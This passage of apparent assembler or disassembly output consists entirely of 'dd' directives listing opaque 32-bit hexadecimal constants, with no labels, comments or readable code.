0C1FED388h, 1BA99112h, 13512C0Bh dd 0D7418040h, 1B2C96A3h, 0DBE0E9F0h, 1F013092h, 4F438555h dd 5028125Dh, 0A1601A3Ah, 0D5B266ECh, 7443500h, 0BEC917EEh dd 606F002Dh, 0C27A8B4Eh, 91C05288h, 0A5DE2A6Dh, 7AD094ACh dd 94ECB0E4h, 7EEDA900h, 0BD0F0CDEh, 2B50381h, 0F32B305Bh dd 541A18B8h, 988689C7h, 0D532F30h, 5A4C0079h, 58CE63F1h dd 0EA0208CBh, 15A047BBh, 0E39C0042h, 2C269407h, 3760E0EBh dd 0A4DA05h, 10D99CD0h, 5F31FC61h, 0A3C1C3Ch, 0E4551553h dd 97E11830h, 78757C06h, 881403D8h, 0DBACDDA5h, 0DF334012h dd 654F4891h, 0BF0054D9h, 0B309C9BAh, 2C663B5h, 60E41A04h dd 9044B94Fh, 4B56155Ch, 0AC58C0D1h, 3468A101h, 80ABBB97h dd 0B6F13751h, 9714A31h, 0D8EBC758h, 20560861h, 9501E57Ch dd 12E1DBE7h, 586078A7h, 47FF037Ah, 1531DC2Fh, 4F773DA8h dd 12DA9202h, 9CCF7FA8h, 85C14404h, 0C5A2B00h, 48F0AE1Ah dd 61798D4h, 9B038FC9h, 7F06180Dh, 88918EE0h, 4EE0040h dd 84BF3955h, 0C37AEB19h, 2A150F00h, 0AD4EE9DBh, 13E300DFh dd 19E6E0FEh, 481BECAEh, 0E35882E7h, 696810D7h, 2E4C066Ah dd 1B28D660h, 990DA5B5h, 72670087h, 0CB0F3201h, 80310EE9h dd 8B8CCD46h, 30145617h, 0E88065C8h, 4B9027ACh, 4D8D0F8Ah dd 4608C0Dh, 48F29A75h, 8C29196Fh, 0E7E1BCh, 58C2CC9Fh dd 0C51323EFh, 0D0C1F418h, 18C46F0h, 0CB4C8B8h, 43763731h dd 380C7EA8h, 90C6BC1Eh, 88A52F2h, 1161900Ch, 54374CD8h dd 6E8141BBh, 0F181104Ah, 90F2604Fh, 0A7918321h, 1BE0429h dd 0E9F3CB79h, 821D910Ah, 4B51221h, 8CE8A0CDh, 0A84C29F1h dd 54238718h, 900AE08Fh, 3471C872h, 4272EA87h, 8027F902h dd 0CD81C8DCh, 0D083EB14h, 0A71E13FBh, 8B284104h, 20938D68h dd 2488BCD0h, 0AFD8C54Fh, 44CC4F62h, 9FD82F0Ah, 13CE8160h dd 48597E7Ch, 40F38FF8h, 0A9A68B4Ch, 0F7A0C551h, 0D1004C93h dd 8C9D631Fh, 0E89562EBh, 5FD100E7h, 0CCC7F127h, 8188630h dd 0AA91A958h, 8DDF1839h, 753211ABh, 0DA410902h, 0A66F4C6Eh dd 2A100FD0h, 800C4Ah, 0DBC59E88h, 240A9880h, 0FC181361h dd 285AA952h, 18A72719h, 0C284E10h, 58CC3F9Ch, 0D4A304h dd 6E3B4558h, 0E83E9D79h, 42158974h, 1A4842Bh, 9ACCD7F1h dd 405ADB39h, 428F7A03h, 3900852Ch, 311B02B6h, 0C8B3086h dd 0F92C6ADh, 37496991h, 88FF1A4Ch, 53C3731h, 42734D6Eh dd 42E926A4h, 0E01D3C44h, 34297C8Dh, 0C10B4979h, 39631FBh dd 186BA320h, 0D1AF6A30h, 0AE0E486Fh, 62853209h, 8E40D088h dd 0B2BC9548h, 0DF1836EFh, 8661E690h, 6C52487Fh, 0A92FF840h dd 0CE3D5A8h, 0E009B539h, 0FD640E61h, 0FB2123A9h, 972C007Dh dd 2D42184Fh, 8D0A718Ah, 0F25E0F00h, 9AB826B6h, 35F37E6Ah dd 91D062h, 8E307970h, 6E18AA69h, 8F813A4Bh, 44893ED7h dd 94205D29h, 9084BC01h, 7E648038h, 9C909703h, 0A04448h dd 0AF512CE3h, 0D428757Fh, 0DC101008h, 77007970h, 0E6D6A0E3h dd 0F81D16h, 9B784E08h, 7BC4029Eh, 9CFE2D3Ch, 5240B33Eh dd 33B535B4h, 6B940069h, 0E1BDE342h, 247BCB93h, 0F5061500h dd 2CAB879Bh, 81490703h, 80AC2F04h, 9EA6BDC5h, 60B9363Bh dd 0DA086D40h, 24F883BCh, 1000700Ah, 9FBD9BF0h, 75FE3Ah dd 4EF9F295h, 62A8717Ah, 76459D03h, 0D0426A33h, 0ED2EE08h dd 0D1BFECE1h, 0F01270E1h, 0A3B835B1h, 0F25504E0h, 0CC97F8A0h dd 6E2422D2h, 8800D810h, 75F638B6h, 3945007Dh, 79207B4Fh dd 3600A8A9h, 9B58C577h, 0E0DD0976h, 0CBF0302Fh, 4BF81440h dd 64BA7300h, 8E78FE46h, 7FE700F2h, 0AABE1D8Dh, 9A005771h dd 827D62D5h, 514DE3Ch, 0D0CBEFE2h, 40B1C620h, 3764C400h dd 0F2815301h, 7F833DF5h, 6E5EA600h, 9E09773Ah, 3C669000h dd 0F12FD7EDh, 20C30011h, 4C4B016Fh, 0A0769986h, 2438854Ch dd 745D94CEh, 0EBBF9D00h, 0F516190Ch, 64870098h, 8452FE31h dd 480010F2h, 62B8718Dh, 3CB5A3A7h, 6B805F07h, 14D2190Fh dd 0D300CB9Bh, 0ECCF1D21h, 0AE7871h, 4075E438h, 8A7A0237h dd 6D7BB5F2h, 11453E00h, 0E908159h, 4082E125h, 1E0AD1CDh dd 0A1784700h, 50FE0E33h, 4B804540h, 67C1B781h, 91A3AB00h dd 907D6CC5h, 0D2DA013Fh, 0D1BADD15h, 0FBF66016h, 40BB4D30h dd 0B3425110h, 0DE50578Ch, 0D6990008h, 1150D24h, 880046F5h dd 0C513A2B0h, 20CCF23Fh, 57008350h, 33909CA0h, 0C1955Dh dd 0E1D1DA43h, 21DFD69Eh, 40E620Fh, 32B4A072h, 8C84FBh dd 7C88FD2Dh, 0AF67BCCBh, 436E3A00h, 428DF859h, 2EFEEDh dd 9D2CADDh, 56EF141Fh, 0A364B401h, 0F27EC3E8h, 904FF8h dd 0B167A81Eh, 6C42B53Fh, 44808100h, 0DCCBBCDEh, 22CC03E5h dd 7309CF71h, 0E65D9FD0h, 0F3825202h, 0C08A88ECh, 806BB0ACh dd 9B0A613Ch, 88230E8Fh, 0FDDF0448h, 1FB35D80h, 0CB539Eh dd 0AF39C721h, 7F3CA23Bh, 0AC34FF52h, 4F9B000Ah, 3CFFEE1Bh dd 9C003A28h, 3310DF39h, 85CE2B8Bh, 0CC5A6903h, 86D0E1CDh dd 0DFBED310h, 70D77C00h, 0A954324Bh, 84BF00E0h, 0ECB21715h dd 10C72A08h, 7F105144h, 0C1AC6B1Fh, 8AB78859h, 33D879F9h dd 9B0927h, 8AAF6821h, 0AB080FDCh, 0CCB12E00h, 30038FEAh dd 0AE190FFDh, 29C13A7Fh, 803F793Ch, 999ECF68h, 2D881AAFh dd 0CCA157E8h, 0F48EB462h, 0C50A0CD3h, 1CFB333Ah, 5B0697C4h dd 333D81AAh, 0C421005Ch, 647ED084h, 3FA42AB7h, 824C0E88h dd 0E8A08CFDh, 68B2CE0Dh, 15A313Ah, 4C1E85D1h, 0ECD6EB5h dd 0D9923180h, 985162C1h, 8E9D3E07h, 0C9AC9003h, 0B629F0E0h dd 0CD0100A4h, 0A771345h, 0AF5C9117h, 3D0BB8D0h, 0BC448010h dd 0B6788B00h, 0DD5C2F0Ch, 80C8DD3Ch, 289D31EDh, 0C607F192h dd 542B87FEh, 5E6E685Ch, 6D05F44h, 0A1A784D8h, 8F37507h dd 1BC1DBB4h, 308EC538h, 0D98173EFh, 0C4031ABAh, 65FCEB0Eh dd 60C027F8h, 2B85EA04h, 1A200156h, 194F2AEh, 0D46E8FAh dd 0CE118C05h, 40E4D0FBh, 502E00DFh, 2D51F048h, 0A3A08ACh dd 2175302Fh, 15016C6h, 89F08B49h, 81C704FBh, 664D2588h dd 0E441FA86h, 0CCCD27Bh, 59040033h, 4584C003h, 0F002571Ah dd 7B52EC9h, 4EFCA1C8h, 87FCE31Fh, 0F4C50AD5h, 0A9444A0h dd 87843EA7h, 303FE2D8h dd 0FF83AAF0h, 0DDCC5600h, 0B372ABADh, 88DA0ED2h, 0DF61282Eh dd 0EF4D4B21h, 0D101D810h, 625014C0h, 2F4321F0h, 0C8007B22h dd 258B501Ch, 18B93C74h, 81074F6Eh, 0B0FB2743h, 7C0F2029h dd 0BC4812ECh, 0F020B176h, 2491A5B9h, 4A623200h, 0C5C8A14h dd 6C91C9EBh, 21C03908h, 0BA4A5AD0h, 99A4002Ch, 0F431AEE5h dd 0F8C03A88h, 0B958F31Fh, 984B0643h, 393DA4D8h, 480020E0h dd 0E55ADE1Ah, 0AFA27h, 0F4FDF34Ah, 0B4CF993Dh, 0F8F14700h dd 11E1F60h, 13D81EB6h, 4528CAFBh, 0DB4203F8h, 24D9F0F9h dd 48788811h, 0BCD00329h, 0E9E78C9Ch, 12C86402h, 0CD8FB421h dd 0F047E840h, 8DB03170h, 0E62E4BF8h, 30F22C4Ah, 7A786E04h dd 0C48CAF1Dh, 0DC1400CBh, 4EE4124Ch, 7100A25Ch, 0CA41841Bh dd 4D09A42h, 6A1E2215h, 9C120099h, 266FBDh, 6C2A6DA0h dd 522D6E9Dh, 0E70EC501h, 58446A48h, 91BC97D6h, 0CC4D8037h dd 1C3C4059h, 401C88DCh, 9C8A01EDh, 5C1231F7h, 0E4B10D19h dd 88AD42D8h, 26607CF4h, 2E544C18h, 0CEC9076h, 0C54A6EA7h dd 48ADE861h, 0FA9CF740h, 0B5F300CAh, 5444E868h, 60C979F6h dd 24452CFh, 57417F30h, 146B4AD0h, 50A888A7h, 0C45712FFh dd 9229040Ch, 0C1847BE1h, 0DDDE864h, 773109EBh, 0B0A174F4h dd 0E0A81A2Fh, 10D842ECh, 532E240h, 7F52F20Dh, 220C981Ch dd 2FF68B04h, 9D32EA23h, 8ABA6920h, 0F98004DEh, 882B42BBh dd 90076EC4h, 1D3C2C77h, 43ECA789h, 10097985h, 5F80904Dh dd 7468A844h, 4BF90C3Eh, 1E90F31Ch, 8B20028Ch, 0E9B32FF8h dd 6710A419h, 3F008AB8h, 755CF997h, 7786237h, 0C23A27ACh dd 92E07770h, 0D868578Ch, 91C07ACFh, 2CC45A4Fh, 0C38E0069h dd 0B1238A99h, 0F4007BC0h, 0D702F171h, 483F29A6h, 0BA2300CCh dd 334A6101h, 3D18648Ah, 4A59888Bh, 627E6DDh, 30423446h dd 0E4FB7989h, 18492B88h, 844100B0h, 0E50D92A5h, 6CAB3085h dd 0D07FEEA8h, 45BC8702h, 41A0B849h, 9042FFCCh, 8B1E3018h dd 32FF215h, 80A088D8h, 378AB66Dh, 0FE0406BAh, 2D5C341Dh dd 53E00C90h, 7C2705C8h, 476033h, 557806C0h, 281F9F6Dh dd 0EB819214h, 0DBCFFD23h, 2A5813D0h, 4DCCBA7h, 0B7E9FAEFh dd 3300BC44h, 30F3094Eh, 1B940F21h, 3702EEFFh, 2FE4EB90h dd 0DDE86054h, 80792C7Eh, 332982B0h, 8889023Ch, 0EB41C001h dd 30B81283h, 15124A5Fh, 0BC38748Ah, 4A571DD1h, 65534DD2h dd 20B2610Eh, 77503774h, 2F60C5ACh, 70F2D780h, 899740A4h dd 0D48C2B12h, 7978C040h, 4C90F434h, 0BE820C25h, 6011B4CCh dd 611607D2h, 3AF3AFFFh, 8A0A8C30h, 0DCE430FBh, 465C2750h dd 0DC983B7Bh, 0A4B95912h, 0C367F023h, 0A02CD833h, 0DC5F00B1h dd 8A25605Ch, 5398B696h, 97F2770Fh, 0FE6E67F7h, 663D4E60h dd 214A1554h, 1D0ED016h, 28409B20h, 0CED8A058h, 87DA5C1Ah dd 11F09DF0h, 2FAA809Ch, 0D433213Ch, 9802A0D0h, 480CD244h dd 4A499080h, 0E7489E7Eh, 8C35BC8Ch, 5B3DF3EEh, 22E10E38h dd 0A8DFAC56h, 645E0075h, 0D7140BF2h, 4406C2FFh, 3B153C29h dd 43CE1E88h, 0AC1C262Bh, 77467404h, 7E2A2B00h, 0BEFF8D2Eh dd 431E609h, 0B68CA11Dh, 84523D68h, 71985152h, 3018A1h dd 71224A53h, 869D7788h, 0CB40237Dh, 401C60AFh, 2ECEB8Bh dd 0E784B00Dh, 30DEC89Ch, 5F115015h, 0E28409F0h, 1DBF00CDh dd 3BB650h, 2E7DD32Bh, 1B01920Bh, 9E167601h, 0A124597Eh dd 60696C20h, 61DBA1B4h, 6200B194h, 2405334Eh, 3CFB2EF3h dd 0D9A79C32h, 3AA71061h, 1B86C801h, 0B88BFFC8h, 2881CE45h dd 32DC95Ch, 0F4C1FC2Eh, 290C2885h, 0FD21CCA6h, 503080D0h dd 2D41F066h, 0C460D0B9h, 0B8B15018h, 9F9C2040h, 97C5E800h dd 0E1D3BCCFh, 466492B4h, 8B21021Dh, 0B1BB2FF7h, 6A109EC8h dd 0FC048AB9h, 7DA53E95h, 69182CE8h, 0A71821B3h, 2A8D4100h dd 0B8A013F3h, 32E100C1h, 4C339E31h, 0E52E302Eh, 25608019h dd 9CB6F4Dh, 9F8DE672h, 51040068h, 46038494h, 1BDF67C4h dd 3972CFB0h, 0FCC075E2h, 3E00DDD3h, 18E85D59h, 9AC6A757h dd 3DE90594h, 80AAAF28h, 11DA1EEh, 0A4226224h, 0A4EBAC02h dd 70A0480Ah, 0FB0D00AEh, 4583EAA3h, 0E665678Ch, 0A0044870h dd 7019C08h, 93DE3C23h, 0A44811C0h, 4A63C0B4h, 54468A31h dd 0CD003B22h, 0DA0A4A5Bh, 0EFDF45A4h, 848C51CAh, 0B0341B87h dd 2709AF6Ch, 419C1C58h, 4CDCD244h, 8528C279h, 74CA042Bh dd 80110C8Eh, 0F0615013h, 222F4319h, 1BC90076h, 0CC5D6050h dd 0AF18C372h, 31A140A5h, 9182000Ah, 64D23E4Dh, 2E008315h dd 7E9BB250h, 79475DDFh, 5B0326B6h, 60F8059Ch, 62A82028h dd 45F90BB4h, 9D6C04E0h, 5F94A425h, 71E0E954h, 0F4703C88h dd 2BE810h, 80F5C058h, 532D33C4h, 0FCD91864h, 65502F60h dd 2D39F010h, 0CDDCC4h, 145017C5h, 0E1D43B22h, 0FD8B72BBh dd 0CC807BA1h, 63C85F2h, 0DD1BE814h, 1FF410A0h, 80CEAF01h dd 247B0432h, 72AA438h, 19D08EDh, 881C7E24h, 2CBD042h dd 547CA522h, 0DA00B1A6h, 3831162Bh, 0AE6B242Dh, 0D6ED8188h dd 21FBF1A1h, 0E030A024h, 876CF759h, 0B5C4E922h, 8662498h dd 3C8A304Ah, 0CC413EC4h, 23D54A5Eh, 0F3FE24BCh, 559DFD80h dd 0E21A0Eh, 25489E73h, 288F4E75h, 0A7BC6312h, 38E2A453h dd 0DC38670Fh, 0F31BAF22h, 55008479h, 1AC3290h, 61FEDFh dd 0B4F2A3Eh, 77442CE9h, 32494B0h, 4B40C8D1h, 0CC85BAh dd 0F5395C8Dh, 5A2F5781h, 0F2E39022h, 3063009Ch, 3854FDBCh dd 4D0CAE0Fh, 0E1881422h, 40294A43h, 0F99042E0h, 63051D4Dh dd 0AFF24E11h, 80EC1409h, 38A1628h, 60E64158h, 0B241D07Ch dd 0C746831h, 0C4933CF1h, 158A6F00h, 7A6325AEh, 24172FF8h dd 0BC605D13h, 211EE9F3h, 8C09545h, 19E9FCh, 0DF508D2Ch dd 179A5997h, 70264564h, 414E7C80h, 0ED792EC9h, 2388C05Ch dd 6888EEE8h, 0CD8B0E07h, 0F6EC76h, 0AC654F5Ch, 2326302Dh dd 0D2833014h, 49A2070h, 38FE13D0h, 761CF4C6h, 61411017h dd 2F312030h, 27811DCFh, 2B8AC435h, 234F310h, 7F62ACF4h dd 0C044D2h, 0F52D994Fh, 46B09FB5h, 0EB186EE0h, 1630A034h dd 40E0058Bh, 82CA48BEh, 94A2C744h, 5444606Eh, 9E1705F8h dd 0DC413EA5h, 0C910FB87h, 8C087880h, 33D69CD7h, 0FFEE900Dh dd 582340DCh, 173177A2h, 7F19C170h, 2C913B37h, 0FED888DAh dd 56132588h, 0F402E85Eh, 9D451DE9h, 910F231h, 6F00E9FDh dd 0ED928D9Ah, 9863F98h, 0A6877F3h, 48FAC21h, 4C9474F1h dd 4B80D350h, 0C214EFh, 4A6530B6h, 448A2F11h, 0CB803688h dd 75FD4A5Dh, 8F1B0205h, 0D8C1B195h, 527A5CE0h, 0E890F15Ch dd 0CE098C9Ch, 400D3C8Fh, 5D3F252Ch, 438258C4h, 0A8008532h dd 6CEC58F2h, 900C188Eh, 7688C454h, 0C100E57Dh, 0F7CDDAA5h dd 61C811h, 1632C308h, 47F1E643h, 94C6E1Bh, 8933D1D1h dd 68952C40h, 0F8809F51h, 17A4084Dh, 0C8468208h, 1EDCA811h dd 0E7544BA1h, 0C2AB1485h, 20483790h, 3A01D291h, 0F23CAF08h dd 1B6EE878h, 75E1389Ch, 69498AEDh, 9D8080AFh, 53E5FABBh dd 0EA460196h, 42A5BD28h, 3F0C622Ch, 36558C1Fh, 14E70E0h dd 0CA61A608h, 83DCA528h, 18F29151h, 4898F255h, 175E8B0h dd 49AB934Fh, 0A5448EDFh, 91A49771h, 0BF1D80A0h, 4A162325h dd 104C2F6Dh, 2DCCF7Bh dd 0A25478F0h, 0A105E8A3h, 0A2B4490h, 7018C0A4h, 692090C0h dd 7CB8943Ah, 0B1009E46h, 0BC455E38h, 9CA0DBE7h, 5524542Fh dd 13893031h, 0F7B43059h, 452210E9h, 800CE3F5h, 0D8CFE9h dd 0B1B9A468h, 70B6E206h, 30238613h, 58F05441h, 0C1919964h dd 0BFDC1D9Ah, 7AFE790Ch, 3A040052h, 0BC2A8AAAh, 5300D77Ah dd 4FD292B7h, 138FF79Eh, 0C8E16403h, 884069DCh, 2E352C31h dd 85AF11B4h, 24824A60h, 45D84C6Ch, 4ABA6038h, 0E7F27500h dd 0D714C5B8h, 4BBC2DF1h, 0BB0AB0E4h, 885A1323h, 21E9F8C0h dd 22FD4645h, 10D00DAh, 10BCCAEAh, 0F067642Bh, 219CA748h dd 755305BBh, 80F31E7Eh, 31EB9E7Ch, 802D362Ch, 0E0495F43h dd 91E287CDh, 1DB8091Ch, 0E1DE84C0h, 8B76232h, 12444D0h dd 7DA5C570h, 31C146F9h, 17D7F0B9h, 0DA9CDB00h, 0F04DA60Eh dd 14211F2Eh, 0A4B7C5FBh, 7B844043h, 0EB23D097h, 3750FC00h dd 0D36F8FAh, 0BB9FCCBh, 73D3BC62h, 0F3618004h, 3890B40h dd 56D02FB4h, 49275860h, 8D4105B7h, 0F281CEDEh, 30A4F2A4h dd 0C80084A3h, 0ECB52306h, 14EEDA7h, 345FE142h, 220D4CF4h dd 742F4A58h, 61CA223h, 0DF047D81h, 5CF091F8h, 424B40Eh dd 0A8113C2Fh, 81D00904h, 2051D2h, 0FBF6DE6Eh, 4705F9BAh dd 963890F0h, 212000E4h, 0F08719DDh, 0A1493860h, 0A95C31C8h dd 0E5275983h, 0F1A8BAD1h, 0CC4906B5h, 0F41F1710h, 80DE5C08h dd 0DF1A0B45h, 96005F9Dh, 4ACDD83Ch, 89FEEEh, 0F814590Ch dd 2ECA0847h, 83745A0Bh, 0B35487DBh, 617E5282h, 0A2149870h dd 1EC900B0h, 4F0B6F1Dh, 0C0FD0F7Ah, 0F4845EDFh, 0A658E05Ch dd 38058BCh, 4A34F5D2h, 73960F0Dh, 809E6A72h, 23775EDh dd 2864C8E6h, 3143AE68h, 49246CF4h, 7A975C5Fh, 7403C085h dd 0DD7425D7h, 5FFB98A0h, 23BC2F18h, 76853E74h, 0E0C78C44h dd 6605FAC8h, 0B9852E3h, 0E67F48D0h, 0EF4EBDh, 48F4C53Ch dd 5C80BF33h, 18866BFAh, 3AA9E802h, 47B04A0Bh, 60D94484h dd 172207F9h, 0B4456E57h, 80B81A54h, 0A5F87817h, 0DFDC14E5h dd 7D748419h, 11649D82h, 834809Dh, 172EA006h, 40F9C023h dd 0B368ABD0h, 1409263Ch, 90ED981Eh, 0A07944C4h, 86D5DC44h dd 20419A45h, 0C60CDFDh, 440D4B45h, 5EB1FF4h, 0F4813831h dd 0A0457F6Eh, 20359C92h, 36A701ECh, 0A8038E3Eh, 8D2230C4h dd 60C05CB1h, 0B941803Eh, 90078230h, 6CEA3403h, 424881F0h dd 2C41E861h, 0A7073D74h, 90E7E68Ch, 8B8A979h, 4908BB06h dd 35589E74h, 0F640680Fh, 6409E048h, 2E5500E3h, 963E9814h dd 70947742h, 4B4004DCh, 0A80672A7h, 0D2362E08h, 1EC9F418h dd 3EB3F83h, 44882F87h, 68A07BBCh, 97934979h, 1D2B3200h dd 298B678Ah, 0BB392C59h, 20882000h, 620126B0h, 0B51CF2C4h dd 0F422D00Ch, 0F7B21A00h, 106E4609h, 6A75627Fh, 0D2950404h dd 6887545Eh, 0AF3E61CFh, 106CEADEh, 8C76BCh, 9CDC7A65h dd 0BFAA4D01h, 0CF0A009h, 0B578820Fh, 2008F230h, 18A9DF36h dd 24C11437h, 1F00CDE4h, 21978ADFh, 2D284868h, 40B86020h dd 930125DEh, 910AC545h, 0F440B434h, 2404B511h, 46F81317h dd 0CF25694Bh, 761420B3h, 0EA4370C0h, 5FFF39EDh, 5431F103h dd 0A019F39Dh, 12910B88h, 0F5F21888h, 8ECC53h, 30CDE284h dd 774C233h, 34888C47h, 4EA1236Dh, 0C825B7C3h, 0B78906Ch dd 0E010404Dh, 0D890885Fh, 90E14928h, 0D75020D8h, 7DA820FDh dd 5C0980B9h, 446CA1BDh, 0C02837C4h, 9CBC685Ch, 2F28098Ch dd 0B426E0F4h, 0B7959089h, 0F2C0008Ch, 18238689h, 131FCA40h dd 60571324h, 20E9F9ACh, 0AC4CEBA2h, 90ED744h, 730BEA02h dd 0E272A10Fh, 52920000h, 6F823070h, 64890060h, 5002B63Fh dd 0C015F79h, 0B10EDC2Ah, 9F89DE9h, 8CD24849h, 9760628Eh dd 0A62DBB1Eh, 0A7CC0B09h, 0E9D8C08Dh, 0F9411361h, 88DCCBE8h dd 6443C23Ah, 0ED20F0E0h, 4E9E3102h, 62110882h, 7128D156h dd 2C76183Dh, 62CCC5F3h, 0C4491E0h, 94F24E01h, 9E56B5F0h dd 9D3C1EE0h, 0DEB93401h, 4C86288h, 30AD5C77h, 3389140Fh dd 6E13A452h, 0DC300D48h, 214F02Dh, 8C451FAAh, 88E87AFFh dd 3D400954h, 24D4982Eh, 6E44F9BCh, 0C048DE32h, 2E2B7AD2h dd 0C3FF1358h, 356C0B90h, 8EE81484h, 0CDE2843Ch, 8E401E32h dd 44064BFDh, 87D2712Dh, 0B1E70041h, 9F513518h, 0F2130195h dd 0D0A78EAFh, 0F240A2C8h, 958F6848h, 0E6908022h, 8D70EC00h dd 0A827CB9h, 1622DC13h, 0B0541D94h, 58393B59h, 5C62BA2Ch dd 0A5042F60h, 0F2E09A29h, 8C8F4E39h, 5C3D2FF8h, 0B6A6C05Dh dd 55368048h, 318952D4h, 742F3F5Ah, 5E00D623h, 0A2FD18BAh dd 254374DAh, 0B048A535h, 2C0357A6h, 0A7B20F56h, 3DAE8E7h dd 46110C82h, 0A4D80C31h, 0C8ECD758h, 2EC4A493h, 72448064h dd 5C53C2Ch, 774778BEh, 0DB900C48h, 333B3729h, 568680D5h dd 0EB717A24h, 80300067h, 923EFB4Bh, 9499C5BEh, 0D1131F62h dd 18D4D90Ch, 0D97E00E8h, 9E5CFAF6h, 0C56FA737h, 90DA0721h dd 4AA5540h, 0F8C405C2h, 81EC5B48h, 2C94054h, 2280E028h dd 22B442DBh, 1B87170Bh, 5CAC515Ch, 269F5CDh, 0B8E6AC9Ch dd 3CB66D24h, 98DD550Ah, 6C95E964h, 0DCE004E6h, 4B054727h dd 8E9DF24Dh, 5689DC77h, 906DA544h, 0B1B465C0h, 921F048Eh dd 1331955Ch, 0E81EF40Fh, 491044B6h, 0A908021Ah, 0CE20183Ah dd 9B4F6E80h, 34950C44h, 0E64354B0h, 2FE56A22h, 80DE904Fh dd 0D861E256h, 4329000Eh, 0A024F0B7h, 0C1227F4h, 7001F30Bh dd 33BCCF9Dh, 780BBC25h, 0A0C4A288h, 0B72A7580h, 633A0B7Ah dd 0BC4BD251h, 0DCF91E89h, 289B685Bh, 10E67451h, 2184D99Ch dd 0E378BC66h, 0B1B64474h, 34233C42h, 10F2B589h, 9C68B6D0h dd 80D4800Ch, 347FAD0h, 3CF30900h, 0EA3D3E70h, 868A12AAh dd 0C40C8BE8h, 8730CDE0h, 0A209688Eh, 16B9A325h, 8B052540h dd 60077CBDh, 820BD4FAh, 0C101948Ch, 58928968h, 236C3F68h dd 2520099Bh, 0D8123045h, 7185DC22h, 7E0341A8h, 251BD08Fh dd 1744B505h, 54809C42h, 0B69D3490h, 63368B74h, 0F4B1D098h dd 390784Dh, 0F0B510D1h, 4E6901C7h, 0F6A5CE1Eh, 8AE87C0Fh dd 5A80B0FFh, 0B95B0168h, 64730943h, 74A36321h, 0C6F85829h dd 74EB1162h, 288AB04h, 79180453h, 80FE6EB6h, 0F8E758B4h dd 3457605Ah, 675FA082h, 60744438h, 2E44F02Ch, 821C3254h dd 0ED7B7E52h, 255860ECh, 8CD7BC58h, 7B63CE01h, 0C4DF5529h dd 0D02F2072h, 90C778A0h, 7DF6A34Eh, 5E48BB01h, 0AC1B8687h dd 4A219824h, 0C8C48B2Dh, 0FD0FC136h, 66426006h, 6F8C03Dh dd 0FAA003C4h, 0FF948158h, 50093218h, 1C31F064h, 1ACA008Ch dd 76E13250h, 0F91EE71Bh, 0F244474Dh, 848E371Eh, 0AEC0A088h dd 94FE0FBh, 0F15C31B0h, 0DBB40468h, 88E744h, 4827ED2Fh dd 28C0D962h, 27B1E78h, 0B412367Eh, 14E4A4EBh, 3A6E00FEh dd 0A69DA70Dh, 555C0976h, 61AB00F4h, 36246F45h, 98C60B04h dd 0C01D84C4h, 0C780D511h, 1DC2221h, 0B245AA09h, 0D0ECC8ECh dd 2E514B81h, 0BA2235Ch, 0C280179Dh, 0DEC489A3h, 21A78E30h dd 4B58F2C0h, 87F48060h, 273DDF75h, 298C8192h, 0CB11E289h dd 23F82F2Eh, 248283Ah, 158E648h, 942070D0h, 8A0932h, 974272C6h dd 8C054504h, 4C40905Ah, 4CFE8416h, 0B7F100A6h, 88AC405Eh dd 543C518Ch dd 0D6E1008Dh, 948ECC4h, 0C9830442h, 0BC843043h, 397E80ACh dd 981CEDBh, 28155C34h, 0E254FCA3h, 197488E5h, 8B1D048Ch dd 0CE1B2FF3h, 0B56E0280h, 0D8A0A88Ah, 929A406Ch, 639CEE04h dd 0DCB9A502h, 4E00D2B8h, 0A424E5FEh, 0FEE48C20h, 2BBC2C62h dd 50A85Ch, 1DF06F4Eh, 1F17A4DCh, 4A214402h, 7A86DEAFh dd 74FE0908h, 8C72685Eh, 6E055200h, 0EFF74FFBh, 0EB10AC3h dd 60C4D524h, 733F041Dh, 0B9849300h, 5928A6EFh, 414FC6Eh dd 35872B86h, 0E8B4BC15h, 0CD43E0h, 8F7C84C2h, 0BCCF5FF7h dd 9F467474h, 0E629B403h, 0F0A9B6EFh, 74B3E158h, 0C201B08h dd 41090FDh, 0A95C9133h, 10A4D032h, 0AA075301h, 1DAF6CFBh dd 0CF414F70h, 0C0B55A0Ah, 0EB732F74h, 98338913h, 2858D4E1h dd 0FFB61002h, 0C47F02C7h, 848547B5h, 54F862C8h, 23A82E5Eh dd 6865093Eh, 457B3CC8h, 0B2A0D3Fh, 70A060F2h, 0CB79F10h dd 9514FF13h, 0D179007Ch, 825DC53Ah, 0C480B5DDh, 0BD92CD7Dh dd 8C448916h, 84EB020h, 85DE04B3h, 8287CE7Dh, 0AC82CDF4h dd 0CCFBDA9Ch, 0C5B2D001h, 6840A57Eh, 58E992h, 6B0DC0D7h dd 2A45A18Eh, 6D005175h, 0C2130779h, 0B7F31E49h, 88E01018h dd 23841DEh, 6D870846h, 54D0C428h, 40DAD41Fh, 520073A4h dd 0F9219F66h, 0E4CDF260h, 75251F57h, 1E1D80CFh, 0DF284901h dd 548E12Fh, 0D8884798h, 0F99C1355h, 0DE7091CFh, 24CCC4Ah dd 4679F514h, 93F22F8h, 476ED713h, 0E402B446h, 70039008h dd 10BC19E2h, 4F493C29h, 0A624C83Ah, 98518Ah, 0C09DD510h dd 4A392ED0h, 0B56A946Ch, 697A0020h, 417B03C6h, 97C7905h dd 85AA9726h, 0E333C003h, 87420094h, 36C48ED2h, 0D1FA1023h dd 0F6619401h, 6F372D1Ch, 2842EF0h, 70F2A998h, 2848A14Ch dd 2D0BB8A7h, 60B02B08h, 5A78D024h, 0F1548040h, 9D257E61h dd 0C4E8C5E7h, 5672603Dh, 82CCB998h, 0E97A5C46h, 0B613ACC4h dd 0E0E2A7E7h, 0CCDE1F1h, 848F0B4Ch, 9C82322Dh, 285A2E42h dd 0FC4B70F0h, 0DA130C00h, 2FAB08h, 6ADD9BF6h, 192C0C6Eh dd 0C9099818h, 90E7499h, 6A17F5B7h, 981E890h, 2473A500h dd 6E3B937Bh, 0D7E00BCh, 0B34D21B2h, 0BAE8042Ch, 0C0DF5227h dd 249048h, 0D3992A14h, 0CF17D6D9h, 0FCBCBC73h, 0C0346D2Dh dd 0ACB0A3ADh, 4F078903h, 5AFF6B7Dh, 102C3A21h, 8DC0CDE3h dd 9739EFE1h, 260D8E3Fh, 600B3E55h, 258C58A7h, 3CC16C03h dd 0C33A72h, 84100C8h, 64BC58A3h, 3B045C0Bh, 9C24910Ah dd 210D0E2h, 5790013h, 0AACF4C5h, 0D974B9BFh, 2E6B18D9h dd 8CCA58Fh, 64AD4491h, 95092ACh, 0CE45E74Ah, 90309C50h dd 5F732930h, 0B0A09DA7h, 0E24E6738h, 56CE600h, 0FD92DBAEh dd 414F4F6Eh, 4230F3Ch, 282200DAh, 0A7DF2787h, 89E40048h dd 1805B000h, 7C560E0Ch, 0B998CC37h, 